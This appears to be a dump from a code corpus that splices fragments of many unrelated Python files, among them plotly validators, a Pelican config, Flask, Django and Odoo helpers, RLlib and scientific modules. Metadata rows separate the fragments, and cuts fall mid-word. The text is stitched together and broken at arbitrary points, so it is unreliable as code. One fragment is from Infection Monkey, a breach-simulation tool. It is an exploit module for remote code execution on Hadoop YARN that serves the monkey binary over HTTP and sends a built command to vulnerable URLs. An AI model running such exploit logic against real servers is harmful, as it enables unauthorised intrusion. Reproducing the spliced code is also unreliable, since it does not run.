opts = parse_transforms(open('master.opt').read())
#opts = opts[0:1]
#opts = opts[0:40]
sys.stderr.write('%s ... | ite('\rTested: ' + str(count))
sys. | stdout.flush()
if o3_src < oo_src:
increasing += 1
continue
if satisfiable(oo):
print '\n-----\nLoop: ', o3.name
o1.dump()
print
o2.dump()
print
o3.dump()
loops += 1
else:
... |
plotly/python-api | packages/python/plotly/plotly/validators/layout/scene/zaxis/_zerolinewidth.py | Python | mit | 485 | 0.002062 | im | port _plotly_utils.basevalidators
class ZerolinewidthValidator(_plotly_utils.basevalidators.NumberValidator):
def __init__(
self, plotly_name="zerolinewidth", parent_name="layout.scene.zaxis", **kwargs
):
super(ZerolinewidthValidator, self).__init__(
plotly_name=plotly_name,
| parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "plot"),
role=kwargs.pop("role", "style"),
**kwargs
)
|
ckcollab/ericcarmichael | pelicanconf.py | Python | mit | 1,128 | 0 | #!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
import os
AUTHOR = u'Eric Carmichael'
SITENAME = u"Eric Carmichael's Nerdery"
SITEURL = os.environ.get("PELICAN_SITE_URL", "")
TIMEZONE = 'Europe/Paris'
DEFAULT_LANG = u'en'
# Feed generation is usually not desired when develop... | E_DATES = True
GITHUB_URL = 'http://github.com/ckcollab/'
THEME = "themes/mintheme"
PATH = "content"
PLUGINS = ["plugins.assets", "plugins.sitemap"]
MARKUP = (('rst', 'md', 'html'))
WEBASSETS = True
SITEMAP = {
"format": "xml" | ,
"priorities": {
"articles": 1,
"pages": 1,
"indexes": 0
},
"changefreqs": {
"articles": "daily",
"pages": "daily",
"indexes": "daily",
}
}
STATIC_PATHS = [
'images',
'extra/robots.txt',
]
EXTRA_PATH_METADATA = {
'extra/robots.txt': {'path':... |
danielparton/ensembler | ensembler/validation.py | Python | gpl-2.0 | 10,250 | 0.003317 | import os
import tempfile
import shutil
import yaml
import mdtraj
from subprocess import Popen, PIPE
from ensembler.core import get_most_advanced_ensembler_modeling_stage, default_project_dirnames
from ensembler.core import model_filenames_by_ensembler_stage, get_valid_model_ids, mpistate
from ensembler.core import Yam... | stage)
)
if check_for_existing_results:
if os.path.exists(results_output_filepath):
with open(results_output_filepath) as results_output_file:
prev_results = yaml.load(stream=results_output_file, Loade | r=YamlLoader)
prev_molprobity_score = prev_results.get('MolProbityScore')
if prev_molprobity_score is not None:
logger.debug(
'Existing MolProbity score of {} found for model {}'.format(
prev_molprobity_score, model_id
... |
wdm0006/myflaskapp | myflaskapp/utils.py | Python | bsd-3-clause | 777 | 0.002574 | # -*- coding: utf-8 -*-
"""Helper utilities and decorators."""
from flask import flash, render_template, current | _app
def flash_errors(form, category="warning"):
"""Flash all errors for a form."""
for field, errors in form.errors.items():
for error in errors:
flash("{0} - {1}"
.format(getattr(form, field).label.text, error), category)
def render_extensions(template_path, **kwargs)... | and shoves in some other stuff out of the config.
:param template_path:
:param kwargs:
:return:
"""
return render_template(template_path,
_GOOGLE_ANALYTICS=current_app.config['GOOGLE_ANALYTICS'],
**kwargs)
|
grap/odoo-eshop | odoo_eshop/eshop_app/controllers/controller_account.py | Python | agpl-3.0 | 11,619 | 0 | #! /usr/bin/env python
# -*- encoding: utf-8 -*-
# Standard Lib
import io
# Extra Libs
from flask import request, render_template, flash, session, abort, send_file
from flask.ext.babel import gettext as _
# Custom Tools
from ..application import app
from ..tools.web import redirect_url_for
from ..tools.erp import... | elif partner.eshop_state == 'email_to_confirm':
flash(_(
"The '%(email)s' field is already associated to an"
" account. Please finish the process to create an"
" account, by clicking on the link you received "
" ... | else:
flash(_(
"The '%(email)s' field is already associated to an"
" inactive account. Please ask your seller to activate"
" your account.", email=email), "danger")
# Check Phone
phone, error_message = check_phone(request.f |
alexhayes/django-toolkit | django_toolkit/storage.py | Python | mit | 1,108 | 0.002708 | import os
from django.core.files.storage import FileSystemStorage
from django.conf import settings
class OverwriteStorage(FileSystemStorage):
def get_available_name(self, name):
"""Returns a filename that's free on the target storage system, and
av | ailable for new content to be written to.
Found at http://djangosnippets.org/snippets/976/
This file storage solves overwrite on upload problem. Another
proposed solution was to override the save method on the model
like so (from https://code.djangoproject.com/ticket/11663):
d... | if this.MyImageFieldName != self.MyImageFieldName:
this.MyImageFieldName.delete()
except: pass
super(MyModelName, self).save(*args, **kwargs)
"""
# If the filename already exists, remove it as if it was a true file system
if self.exists(name):
... |
pkimber/mail | example_mail/tests/test_service.py | Python | apache-2.0 | 8,283 | 0 | # -*- encoding: utf-8 -*-
import filecmp
import json
import os
import pytest
from django.contrib.contenttypes.models import ContentType
from django.core import mail
from unittest import mock
from example_mail.base import get_env_variable
from example_mail.tests.model_maker import make_enquiry
from mail.models import ... | nquiry, template.slug, content_data)
m = _mail(enquiry)
assert m.sent is None
assert m.sent_response_code is None
assert m.message.subject == 'Goodbye *|name|*'
# test the send facility using djrill mail backend
# temp_email_backend = settings.EMAIL_BACKEND
send_m... | ress = get_env_variable('TEST_EMAIL_ADDRESS_1')
enquiry = make_enquiry(
email_address,
"Farming",
'How many cows in the field?',
)
with pytest.raises(MailError) as e:
queue_mail_message(
enquiry,
[],
enquiry.subject,
enquiry.des... |
paulfantom/Central-Heating-webpage | app/core/forms.py | Python | mpl-2.0 | 3,303 | 0.009385 | from flask_wtf import Form
from wtforms.fields.html5 import DecimalRangeField
from wtforms.fields import TextField, SubmitField, DateTimeField, DecimalField,\
HiddenField, BooleanField, PasswordField
from wtforms import ValidationError
from wtforms.validators import Optional, EqualTo, Requir... | aise ValidationError(get_message('INVALID_REDIRECT')[0])
class LoginForm(Form,NextFormMixin):
username = TextField(_('Username'),validators=[Required()],descrip | tion=_('Username'))
password = PasswordField(_('Password'),validators=[Required()],description=_('Password'))
remember = BooleanField(_('Remember me'))
next = HiddenField()
submit = SubmitField(_('Login'))
def __init__(self, *args, **kwargs):
super(LoginForm, self).__init__(*args, **kwargs)... |
robwarm/gpaw-symm | gpaw/xc/noncollinear.py | Python | gpl-3.0 | 13,580 | 0.001105 | from math import sqrt, pi
import numpy as np
from gpaw.xc.functional import XCFunctional
from gpaw.xc.lda import LDA
from gpaw.xc.libxc import LibXC
from gpaw.lcao.eigensolver import LCAO
from gpaw.wavefunctions.lcao import LCAOWaveFunctions
from gpaw.utilities import unpack
from gpaw.utilities.blas import gemm
from ... | __init__(self, 'LDA')
def calculate(self, e_g, n_sg, dedn_sg,
| sigma_xg=None, dedsigma_xg=None,
tau_sg=None, dedtau_sg=None):
n_g = n_sg[0]
m_vg = n_sg[1:4]
m_g = (m_vg**2).sum(0)**0.5
nnew_sg = np.empty((2,) + n_g.shape)
nnew_sg[:] = n_g
nnew_sg[0] += m_g
nnew_sg[1] -= m_g
nnew_sg *... |
robertnishihara/ray | rllib/examples/mobilenet_v2_with_lstm.py | Python | apache-2.0 | 1,849 | 0 | # Explains/tests Issues:
# https:/ | /github.c | om/ray-project/ray/issues/6928
# https://github.com/ray-project/ray/issues/6732
import argparse
from gym.spaces import Discrete, Box
import numpy as np
from ray.rllib.agents.ppo import PPOTrainer
from ray.rllib.examples.env.random_env import RandomEnv
from ray.rllib.examples.models.mobilenet_v2_with_lstm_models impor... |
ctuning/ck-autotuning | module/compiler/module.py | Python | bsd-3-clause | 28,151 | 0.032148 | #
# Collective Knowledge (compiler choices)
#
# See CK LICENSE.txt for licensing details
# See CK COPYRIGHT.txt for copyright details
#
# Developer: Grigori Fursin, [email protected], http://fursin.net
#
cfg={} # Will be updated by CK (meta description of this module)
work={} # Will be updated by CK (tempora... | e:
None
else:
for fn in dirList:
pp=os.path.join(p, fn)
if os.path.isdir(pp) and fn.startswith('gcc-'):
| found=False
p1a=os.path.join(pp,f1a)
p1b=os.path.join(pp,f1b)
p2=os.path.join(pp,f2)
if os.path.isfile(p1a) or os.path.isfile(p1b) or os.path.isfile(p2):
# Found GCC source directory with needed files
ck.out('****... |
JohnVillalovos/python-tss-1 | pytss/attestationutils.py | Python | apache-2.0 | 36,880 | 0.000705 | from pytss import TspiContext
from tspi_defines import *
import tspi_exceptions
import uuid
import M2Crypto
from M2Crypto import m2
import pyasn1
import hashlib
import os
import struct
import base64
well_known_secret = bytearray([0] * 20)
srk_uuid = uuid.UUID('{00000000-0000-0000-0000-000000000001}')
trusted_ | certs = { "STM1": """-----BEGIN CERTIFICATE-----
MIIDzDCCArSgAwIBAgIEAAAAATANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQGEwJD
SDEeMBwGA1UEChMVU1RNaWNyb2VsZWN0cm9uaWNzIE5WMRswGQYDVQQDExJTVE0g
VFBNIEVLIFJvb3QgQ0EwHhcNMDkwNzI4MDAwMDAwWhcNMjkxMjMxMDAwMDAwWjBV
MQswCQYDVQQGEwJDSDEeMBwGA1UEChMVU1RNaWNyb2VsZWN0cm9uaWNzIE5WMSYw
JAYDVQQDEx1... | nWO8iw955vWqakWNr3YyazQnNzqV97+l
Qa+wUKMVY+lsyhAyOyXO31j4+clvsj6+JhNEwQtcnpkSc+TX60eZvLhgZPUgRVuK
B9w4GUVyg/db593QUmP8K41Is8E+l32CQdcVh9go0toqf/oS/za1TDFHEHLlB4dC
joKkfr3/hkGA9XJaoUopO2ELt4Otop12aw1BknoiTh1+YbzrZtAlIwK2TX99GW3S
IjaCi+fLoXyK2Fmx8vKnr9JfNL888xK9BQfhZzKmbKm/eLD1e1CFRs1B3z2gd3ax
pW5j1OIkSBMOIUeip5+7xvYo2go... |
riveridea/gnuradio | gr-utils/python/modtool/code_generator.py | Python | gpl-3.0 | 2,485 | 0.000805 | #
# Copyright 2013 Free Software Foundation, Inc.
#
# This file is part of GNU Radio
#
# GNU Radio is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either v | ersion 3, | or (at your option)
# any later version.
#
# GNU Radio is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of... |
pypingou/pagure | alembic/versions/1640c7d75e5f_add_reports_field_to_project.py | Python | gpl-2.0 | 579 | 0.003454 | """Add reports field to project
Revisi | on ID: 1640c7d75e5f
Revises: 1d18843a1994
Create Date: 2016-09-09 16:11:28.099423
"""
# revision identifiers, used by Alembic.
revision = '1640c7d75e5f'
down_revision = '1d18843a1994'
from alembic import op
import sqlalchemy as sa
def upgrade():
''' Add the column _reports to the table projects
'''
op.... | umn _reports from the table projects.
'''
op.drop_column('projects', '_reports')
|
sourcebots/robot-api | robot/game_specific.py | Python | mit | 2,127 | 0 | # ******************************************************************************
# NOTICE: IF YOU CHANGE THIS FILE PLEASE CHANGE ITS COUNTERPART IN SB_VISION
# ******************************************************************************
# Try to put all game specific code in here
WALL = set(range(0, 28)) # 0 - 27... | range(30, 44, 4))
COLUMN_FACING_W = set(range(31, 44, 4))
# Individual Column faces.
COLUMN_N_FACING_N = (COLUMN_N & COLUMN_FACING_N).pop()
COLUMN_N_FACING_S = (COLUMN_N & COLUMN_FACING_S).pop()
COLUMN_N_FACING_E = (COLUMN_N & COLUMN_FACING_E).pop()
COLUMN_N_FACING_W = (COLUMN_N & COLUMN_FACING_W).pop()
COLUMN_S_FACI... | OLUMN_S_FACING_E = (COLUMN_S & COLUMN_FACING_E).pop()
COLUMN_S_FACING_W = (COLUMN_S & COLUMN_FACING_W).pop()
COLUMN_E_FACING_N = (COLUMN_E & COLUMN_FACING_N).pop()
COLUMN_E_FACING_S = (COLUMN_E & COLUMN_FACING_S).pop()
COLUMN_E_FACING_E = (COLUMN_E & COLUMN_FACING_E).pop()
COLUMN_E_FACING_W = (COLUMN_E & COLUMN_FACING... |
mapzen/tilequeue | tilequeue/query/__init__.py | Python | mit | 6,789 | 0 | from tilequeue.query.fixture import make_fixture_data_fetcher
from tilequeue.query.pool import DBConnectionPool
from tilequeue.query.postgres import make_db_data_fetcher
from tilequeue.query.rawr import make_rawr_data_fetcher
from tilequeue.query.split import make_split_data_fetcher
from tilequeue.process import Source... | ')
if source_type == 's3':
rawr_source_s3_yaml = rawr_source_yaml.get('s3')
bucke | t = rawr_source_s3_yaml.get('bucket')
assert bucket, 'Missing rawr source s3 bucket'
region = rawr_source_s3_yaml.get('region')
assert region, 'Missing rawr source s3 region'
prefix = rawr_source_s3_yaml.get('prefix')
assert prefix, 'Missing rawr source s3 prefix'
extensi... |
eduNEXT/edx-platform | common/djangoapps/util/milestones_helpers.py | Python | agpl-3.0 | 16,458 | 0.002917 | """
Utility library for working with the edx-milestones app
"""
from django.conf import settings
from django.utils.translation import gettext as _
from edx_toggles.toggles import SettingDictToggle
from milestones import api as milestones_api
from milestones.exceptions import InvalidMilestoneRelationshipTypeException, I... | e_cases: open_edx
# .. toggle_creation_date: 2014-11-21
ENABLE_MILESTONES_APP = SettingDictToggle("FEATURES", "MILESTONES_APP", default=False, module_name= | __name__)
def get_namespace_choices():
"""
Return the enum to the caller
"""
return NAMESPACE_CHOICES
def is_prerequisite_courses_enabled():
"""
Returns boolean indicating prerequisite courses enabled system wide or not.
"""
return settings.FEATURES.get('ENABLE_PREREQUISITE_COURSES')... |
canaryhealth/pyramid_test | pyramid_test/__init__.py | Python | mit | 106 | 0 | # -*- coding: utf-8 -*-
from .api | import *
from .db import *
fr | om .runner import *
from .server import *
|
Gribouillis/symboldict | tests/various/test_strict.py | Python | mit | 6,420 | 0.005452 | """Strict and non strict symboldict feature tests."""
from __future__ import (absolute_import, division,
print_function, unicode_literals)
from functools import partial
import pytest
from pytest_bdd import (
given,
scenario,
then,
when,
)
import symboldict as sd
scenario = part... | ses TypeError')
def upda | ting_symboldict_with_dict_raises_typeerror(
strict_symboldict, dict_containing_forbidden_key):
"""updating symboldict with dict raises TypeError."""
with pytest.raises(TypeError):
strict_symboldict.update(dict_containing_forbidden_key)
|
googleapis/python-compute | tests/unit/gapic/compute_v1/test_global_public_delegated_prefixes.py | Python | apache-2.0 | 96,661 | 0.001335 | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | GlobalPublicDelegatedPrefixesClient._get_default_mtls_endpoint(
api_mtls_endpoint
)
== api_mtls_endpoint
)
assert (
GlobalPublicDelegatedPrefixesClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
GlobalPublicDe... | cDelegatedPrefixesClient._get_default_mtls_endpoint(non_googleapi)
== non_googleapi
)
@pytest.mark.parametrize(
"client_class,transport_name", [(GlobalPublicDelegatedPrefixesClient, "rest"),]
)
def test_global_public_delegated_prefixes_client_from_service_account_info(
client_class, transport_name... |
GIC-de/ncclient | ncclient/operations/third_party/hpcomware/rpc.py | Python | apache-2.0 | 1,760 | 0 | from lxml import etree
from ncclient.xml_ import *
from ncclient.operations.rpc import RPC
class DisplayCommand(RPC):
def request(self, cmds):
"""
Single Execution element is permitted.
cmds can be a list or single command
| """
if isinstance(cmds, list):
cmd = '\n'.join(cmds)
elif isinstance(cmds, str) or isinstance(cmds, unicode):
cmd = cmds
node = etree.Element(qualify('CLI', BASE_NS_1_0))
etree.SubElement(node, qualify('Execution',
| BASE_NS_1_0)).text = cmd
return self._request(node)
class ConfigCommand(RPC):
def request(self, cmds):
"""
Single Configuration element is permitted.
cmds can be a list or single command
commands are pushed to the switch in this method
"... |
tamasgal/django-tornado | demosite/demosite/urls.py | Python | mit | 164 | 0.006098 | f | rom django.conf.urls import patterns, include, url
from django.contrib import admin
ur | lpatterns = patterns('',
(r'^hello-django', 'demosite.views.hello'),
)
|
bl4ckdu5t/registron | tests/libraries/test_xml.py | Python | mit | 432 | 0.00463 | #- | ----------------------------------------------------------------------------
# Copyright (c) 2013, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License with exception
# for distributing bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software... | -------
# xml hook test
import xml
|
nlhkabu/connect | connect/accounts/utils.py | Python | bsd-3-clause | 2,295 | 0 | from django import forms
from django.contrib.auth import get_user_model
from django.contrib.sites.shortcuts import get_current_site
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext as _
from django.utils.translation import ugettext_lazy
from connect.utils import send_connect_... | derators invite new users and when a member of the public
requests an account.
"""
User = get_user_model()
user = User.objects.create_user(email)
user.is_active = False
user.full_name = full_name
user.set_unusable_password()
return user
def invite_use | r_to_reactivate_account(user, request):
"""
Send an email to a user asking them if they'd like to reactivate
their account.
"""
# Build and send a reactivation link for closed account
user.auth_token = generate_unique_id() # Reset token
user.auth_token_is_used = False
user.save()
s... |
ray-project/ray | release/ray_release/config.py | Python | apache-2.0 | 6,617 | 0.000907 | import copy
import datetime
import json
import os
from typing import Dict, List, Optional
import jinja2
import jsonschema
import yaml
from ray_release.anyscale_util import find_cloud_by_name
from ray_release.exception import ReleaseTestConfigError
from ray_release.logger import logger
from ray_release.util import dee... | cluster configuration. "
f"Please provide only one."
)
elif cloud_name and not cloud_id:
cloud_id = find_cloud_by_name(cloud_name)
if not cloud_id:
| raise RuntimeError(f"Couldn't find cloud with name `{cloud_name}`.")
else:
cloud_id = cloud_id or DEFAULT_CLOUD_ID
return cloud_id
|
deepmind/acme | examples/open_spiel/run_dqn.py | Python | apache-2.0 | 2,566 | 0.007015 | # python3
# Copyright 2018 DeepMind Technologies Limited. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless re... | rning permissions and
# limitations under the License.
"""Example running DQN on OpenSpiel game in a single process."""
from absl import app
from absl import flags
import acme
from acme import wrappers
from acme.agents.tf import dqn
from acme.environment_loops import open_spiel_environment_loop
from | acme.tf.networks import legal_actions
from acme.wrappers import open_spiel_wrapper
import sonnet as snt
from open_spiel.python import rl_environment
flags.DEFINE_string('game', 'tic_tac_toe', 'Name of the game')
flags.DEFINE_integer('num_players', None, 'Number of players')
FLAGS = flags.FLAGS
def main(_):
# Cre... |
ocpnetworking-wip/oom | oom/oomtypes.py | Python | mit | 811 | 0.001233 | # ////////////////////////////////////// | ///////////////////////////////
#
# oomtypes.py : Common type definitions used by multiple OOM mod | ules
#
# Copyright 2015 Finisar Inc.
#
# Author: Don Bollinger [email protected]
#
# ////////////////////////////////////////////////////////////////////
import struct
from ctypes import *
#
# This class recreates the port structure in the southbound API
#
class c_port_t(Structure):
_fields_ = [("handle",... |
windskyer/k_cinder | paxes_cinder/k2aclient/k2asample/tool_ssp_simulation.py | Python | apache-2.0 | 36,321 | 0.000854 | #
# =================================================================
# =================================================================
# def _enum(**enums):
# return type('Enum', (), enums)
import eventlet
from eventlet import greenthread
import paxes_cinder.k2aclient.k2asample as k2asample
from paxes_cinder.... | s[-3]
vios_id = node_parts[-1]
return ms_id, vios_id
class ImagePool(object):
def __init__(self, cs, cluster_id, existing=None, fake=None):
if MOCK:
self._cs = cs
self._cluster = None
self._ssp_id = None
self._ssp = None
self._fake = Tru... | _size, thin, lut = fake
self._images = num_images * [None]
else:
self._images = len(existing) * [None]
return
self._cs = cs
self._cluster = self._cs.cluster.get(cluster_id)
self._ssp_id = self._cluster.sharedstoragepool_id()
self._... |
hburg1234/py3status | py3status/modules/wwan_status.py | Python | bsd-3-clause | 7,301 | 0.000274 | # -*- coding: utf-8 -*-
"""
Display current network and ip address for newer Huwei modems.
It is tested for Huawei E3276 (usb-id 12d1:1506) aka Telekom Speed
Stick LTE III but may work on other devices, too.
DEPENDENCIES:
- netifaces
- pyserial
Configuration parameters:
- baudrate : There sh... | this module in seconds.
Default is 5.
- consider_3G_degraded : If set to True, only 4G-networks will be
considered 'good'; 3G connections are shown
as 'degraded', which is yellow by default. Mostly
... | where there
is a 4G connection.
Default is False.
- format_down : What to display when the modem is not plugged in
Default is: 'WWAN: down'
- format_error : What to display when modem can't be accessed.
... |
arichar6/veusz | veusz/document/doc.py | Python | gpl-2.0 | 21,692 | 0.001337 | # document.py
# A module to handle documents
# Copyright (C) 2004 Jeremy S. Sanders
# Email: Jeremy Sanders <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Found... | e = ""
self.evaluate.wipe()
self.sigWiped.emit()
def clearHistory(self):
"""Clear any history."""
self.historybatch = []
self.historyundo = []
self.historyredo = []
def suspendUpdates(self):
"""Holds sending update messages.
This speeds up modifi... | es.append(self.changeset)
def enableUpdates(self):
"""Reenables document updates."""
changeset = self.suspendupdates.pop()
if not self.suspendupdates and changeset != self.changeset:
# bump this up as some watchers might ignore this otherwise
self.changeset += 1
... |
jolyonb/edx-platform | lms/djangoapps/course_api/blocks/tests/test_api.py | Python | agpl-3.0 | 9,363 | 0.002563 | """
Tests for Blocks api.py
"""
from itertools import product
from mock import patch
import ddt
from django.test.client import RequestFactory
from openedx.core.djangoapps.content.block_structure.api import clear_course_from_cache
from openedx.core.djangoapps.content.block_structure.config import STORAGE_BACKING_FOR_... | he html block
cls.html_block = cls.store.get_item(cls.course.id.make_usage_key('html', 'html_x1a_1'))
cls.html_block.visible_to_staff_only = True
cls.store.update_item(cls.html_block, ModuleStoreEnum.UserID.test)
def setUp(self):
super(TestGetBlocks, self).setUp()
self.user ... | ourse.location, self.user)
self.assertEquals(blocks['root'], unicode(self.course.location))
# subtract for (1) the orphaned course About block and (2) the hidden Html block
self.assertEquals(len(blocks['blocks']), len(self.store.get_items(self.course.id)) - 2)
self.assertNotIn(unicode(s... |
kbrebanov/ansible | lib/ansible/modules/packaging/os/zypper.py | Python | gpl-3.0 | 17,518 | 0.003768 | #!/usr/bin/python -tt
# -*- coding: utf-8 -*-
# (c) 2013, Patrick Callahan <[email protected]>
# based on
# openbsd_pkg
# (c) 2013
# Patrik Lundin <[email protected]>
#
# yum
# (c) 2012, Red Hat, Inc
# Written by Seth Vidal <skvidal at fedoraproject.org>
#
# GNU ... | rsion specifiers: <, >, <=, >=, =
| Allowed version format: [0-9.-]*
Also allows a prefix indicating remove "-", "~" or install "+"
"""
prefix = ''
if name[0] in ['-', '~', '+']:
prefix = name[0]
name = name[1:]
if prefix == '~':
prefix = '-'
version_check = re.compile('^(.*?)((?:<|>|<=|>=|=)[0-9.-]*)... |
Cyberbio-Lab/bcbio-nextgen | bcbio/upload/galaxy.py | Python | mit | 8,109 | 0.004316 | """Move files to local Galaxy upload directory and add to Galaxy Data Libraries.
Required configurable variables in upload:
dir
"""
import collections
import os
import shutil
import time
from bcbio import utils
from bcbio.log import logger
from bcbio.upload import filesystem
from bcbio.pipeline import qcsummary
# ... | _get_l | ibrary_from_name(gi, check_name, None, sample_info)
except ValueError:
pass
check_names = set([x.lower() for x in names])
for libname, role in config["private_libs"]:
# Try to find library for lab or rsearcher
if libname.lower() in check_names:
return _get... |
pez2001/sVimPy | test_scripts/test53.py | Python | gpl-2.0 | 33 | 0.060606 | a = {i*i for | i in (1,2)}
print | (a) |
sghai/robottelo | tests/foreman/cli/test_subscription.py | Python | gpl-3.0 | 28,458 | 0 | """Test class for Subscriptions
:Requirement: Subscription
:CaseAutomation: Automated
:CaseLevel: Acceptance
:CaseComponent: CLI
:TestType: Functional
:CaseImportance: High
:Upstream: No
"""
import tempfile
import csv
import os
from robottelo import manifests
from robottelo.cli.activationkey import ActivationKe... | """Manifest CLI tests"""
def setUp( | self):
"""Tests for content-view via Hammer CLI"""
super(SubscriptionTestCase, self).setUp()
self.org = make_org()
# pylint: disable=no-self-use
def _upload_manifest(self, org_id, manifest=None):
"""Uploads a manifest into an organization.
A cloned manifest will be used... |
beaufortfrancois/samples | webtransport/webtransport_server.py | Python | apache-2.0 | 9,308 | 0.000215 | #!/usr/bin/env python3
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | ty")
path = request_headers.get(b":path")
if authority is Non | e or path is None:
# `:authority` and `:path` must be provided.
self._send_response(stream_id, 400, end_stream=True)
return
if path == b"/counter":
assert(self._handler is None)
self._handler = CounterHandler(stream_id, self._http)
self._se... |
Nithanaroy/GeoReachPaths | Naive.py | Python | apache-2.0 | 9,722 | 0.003394 | import time, heapq
from itertools import count
import networkx as nx
from pymongo import MongoClient
from Common import MONGO_URL, USER_NODE_PREFIX, BUSINESS_NODE_PREFIX, construct_graph, path_length
def topk_naive2(G, s, R, K):
"""
finds all business in the region and returns an iterator of K shortest path... | urns an iterator of K shortest paths
for each business in t | he region filtered by an RTree, find the shortest path from source
:param G: NetworkX Graph instance
:param s: Source vertex's ID as a string or number that can be found in G
:param R: Region of interest as list of co-ordinates [nelat, nelong, swlat, swlong]
:param K: Number of shortest paths to compute... |
mecworks/garden_pi | common/relay.py | Python | mit | 2,522 | 0.002379 | #!/usr/bin/env python
# A Raspberry Pi GPIO based relay device
import RPi.GPIO as GPIO
from common.adafruit.Adafruit_MCP230xx.Adafruit_MCP230xx import Adafruit_MCP230XX
class Relay(object):
_mcp23017_chip = {} # Conceivably, we could have up to 8 of these as there are a possibility of 8 MCP chips on a bus.
... | 15
for pin in range(16):
print("Pin: %s" % pin)
r = Relay(pin)
r.set_state(r.ON)
time.sleep(pause)
r.set_state(r.OFF)
time.sleep(pause)
r.toggle()
time.sleep(pause)
r.toggle()
time.sleep(pause)
r1 = Relay(10)
r2 = Relay(2)
... | ON)
print(r2._mcp_pin)
r3.set_state(r3.ON)
print(r3._mcp_pin)
time.sleep(1)
r1.set_state(r1.OFF)
r2.set_state(r2.OFF)
r3.set_state(r3.OFF) |
guardicore/monkey | monkey/infection_monkey/exploit/hadoop.py | Python | gpl-3.0 | 4,087 | 0.001223 | """
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import json
import posixpath
import string
from random import SystemRandom
import requests
from common.common_consts.tim... | 64"
paths = self.get_mon | key_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
command = self.build_command(paths["dest_path"], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
h... |
palette-software/palette | controller/controller/email_limit.py | Python | gpl-3.0 | 4,376 | 0.001371 | """ Email limiter """
import logging
from sqlalchemy import Column, BigInteger, DateTime, func
from sqlalchemy.schema import ForeignKey
import akiri.framework.sqlalchemy as meta
from event_control import EventControl
from manager import Manager
from system import SystemKeys
logger = logging.getLogger()
class Email... | t sent too frequently. """
def _log_email(self, eventid):
session = meta.Session()
entry = EmailLimitEntry(envid=self.envid, eventid=eventid)
session.add(entry)
session.commit()
def _prune(self):
"""Keep only the the ones in the last email-lookback-minutes
pe... | "where creation_time < NOW() - INTERVAL '%d MINUTES'") % \
(email_lookback_minutes,)
connection = meta.get_connection()
result = connection.execute(stmt)
connection.close()
logger.debug("email limit manager: pruned %d", result.rowcount)
def _recent_count(... |
Alex-Diez/python-tdd-katas | b_tree_list_kata/day_10.py | Python | mit | 3,899 | 0 | import unittest
PAGE_SIZE = 16
class BtreeList(object):
def __init__(self):
self._root = Page(True)
def __iadd__(self, item):
right = self._root.add_item(item)
if right is not self._root:
left = self._root
self._root = Page(False)
self._root.add_pa... | return self._size - 1
def add_page(self, page):
self._add_entry(Entry(page[0].key(), page))
if self._is_full():
return self, self.split()
else:
return self, None
def _add_entry(self, entry):
self[self._size] = entry
self._size += 1
def __c... | return any(self[:self._size])
else:
index = self._page_for_item(item)
return item in self[index]
def split(self):
half = self._size // 2
page = Page(self._external)
for index in range(half, self._size):
if self._external:
... |
solus-cold-storage/evopop-gtk-theme | src/render-gtk3-assets.py | Python | gpl-3.0 | 5,791 | 0.001554 | #!/usr/bin/python3
# Thanks to the GNOME theme nerds for the original source of this script
import os
import sys
import xml.sax
import subprocess
INKSCAPE = '/usr/bin/inkscape'
OPTIPNG = '/usr/bin/optipng'
MAINDIR = '../EvoPop'
SRC = os.path.join('.', 'gtk3')
inkscape_process = None
def optimize_png(png_file):
... | = [self.ROOT]
self.inside = [self.ROOT]
self.path = path
self.rects = []
self.state = self.ROOT
self.chars = ""
self.force = force
self.filter = filter
def endDocument(self):
pass
def startElement(self, name, attrs):
if self.inside[-1] =... | self.inside[-1] == self.SVG:
if (name == "g" and ('inkscape:groupmode' in attrs) and ('inkscape:label' in attrs)
and attrs['inkscape:groupmode'] == 'layer' and attrs['inkscape:label'].startswith('Baseplate')):
self.stack.append(self.LAYER)
self.inside.append(s... |
anhstudios/swganh | data/scripts/templates/object/tangible/loot/simple_kit/shared_tumble_blender.py | Python | mit | 455 | 0.046154 | #### NOTICE: THIS FILE IS AUTOGENERATED
#### MODIFICATIONS MAY BE LOST IF DONE IMPR | OPERLY
#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
result = Tangible()
result.template = "object/tangible/loot/simple_kit/shared_tumble_blender.iff"
result.attribute_template_id = -1
result.stfName("loot_n","tumble_blender")
#### BEGIN MODIFICATIONS ... | ##
return result |
fabio-otsuka/invesalius3 | invesalius/data/surface.py | Python | gpl-2.0 | 35,564 | 0.003459 | #--------------------------------------------------------------------------
# Software: InVesalius - Software de Reconstrucao 3D de Imagens Medicas
# Copyright: (C) 2001 Centro de Pesquisas Renato Archer
# Homepage: http://www.softwarepublico.gov.br
# Contact: [email protected]
# License: GNU ... | e,
area = original_surface.area)
def OnRemove(self, pubsub_evt):
selected_items = pubsub_evt.data
proj = prj.Project() |
old_dict = self.actors_dict
new_dict = {}
